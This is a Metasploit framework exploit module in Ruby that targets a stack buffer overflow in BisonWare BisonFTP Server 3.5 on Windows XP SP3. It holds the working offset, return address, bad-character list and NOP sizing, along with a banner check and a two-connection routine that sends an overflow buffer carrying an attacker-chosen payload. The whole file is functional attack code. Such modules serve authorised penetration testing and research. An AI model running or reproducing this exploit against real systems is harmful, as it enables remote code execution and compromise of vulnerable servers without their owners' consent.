##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BisonWare BisonFTP Server Buffer Overflow',
      'Description'    => %q{
        BisonWare BisonFTP Server 3.5 is prone to an overflow condition.
        This module exploits a buffer overflow vulnerability in the said
        application.
      },
      'Platform'       => 'win',
      'Author'         =>
        [
          'localh0t', # initial discovery
          'veerendragg @ SecPod', # initial msf
          'Jay Turla' # msf
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '1999-1510'],
          [ 'BID', '49109'],
          [ 'EDB', '17649'],
          [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'VERBOSE'  => true
        },
      'Payload'        =>
        {
          'Space'           => 310,
          'BadChars'        => "\x00\x0a\x0d",
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [ 'Bisonware FTP Server / Windows XP SP3 EN',
            {
              'Ret'    => 0x0040333f,
              'Offset' => 1028,
              'Nops'   =>  404
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2011-08-07'))
  end

  def check
    connect_login
    disconnect
    if /BisonWare BisonFTP server product V3\.5/i === banner
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect
    print_status('Triggering the prompt for an unregistered product')
    sock.put('')
    print_status('Disconnecting...')
    disconnect

    print_status('Connecting for the second time to deliver our payload...')
    connect #connect for the second time

    buf = rand_text_alpha(target['Offset'])
    buf << payload.encoded
    buf << make_nops( (target['Nops']) - payload.encoded.length)
    buf << [target.ret].pack('V')
    print_status('Sending payload...')

    sock.put(buf)
    handler
    disconnect
  end
end
